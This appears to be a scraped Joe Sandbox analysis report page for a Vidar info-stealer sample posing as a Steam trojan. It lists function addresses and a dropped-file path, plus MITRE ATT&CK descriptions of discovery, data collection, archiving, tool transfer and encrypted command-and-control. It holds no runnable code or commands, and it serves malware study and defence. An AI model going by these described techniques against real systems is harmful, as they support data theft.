Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZRZDXR93\76561199747278259[1].htm

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Steam.37477.6298.10622.exe

Function 00307A40 Relevance: 231.7, APIs: 121, Strings: 11, Instructions: 726
libraryloaderCOMMON

Function 002F2000 Relevance: 70.1, APIs: 39, Strings: 1, Instructions: 124
stringmemoryCOMMON

Function 003076E0 Relevance: 48.2, APIs: 32, Instructions: 222
libraryloaderCOMMON

Function 0030BD50 Relevance: 25.1, APIs: 12, Strings: 2, Instructions: 634
COMMON

Function 002F5010 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 174
networkfileCOMMON

Function 002FB9A0 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 335
stringmemoryCOMMON

Function 002F45D0 Relevance: 60.2, APIs: 26, Strings: 8, Instructions: 696
networkstringmemoryCOMMON

Function 002FE3C0 Relevance: 58.1, APIs: 19, Strings: 14, Instructions: 384
registrystringCOMMON

Function 003044B0 Relevance: 48.1, APIs: 2, Strings: 25, Instructions: 834
stringCOMMON

Function 002F5BB0 Relevance: 44.3, APIs: 21, Strings: 4, Instructions: 584
networkstringmemoryCOMMON

Function 002FFFC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 180
registrystringCOMMON

Function 002F43E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176
networkmemoryfileCOMMON

Function 003039E0 Relevance: 21.6, APIs: 11, Strings: 1, Instructions: 633
sleepCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre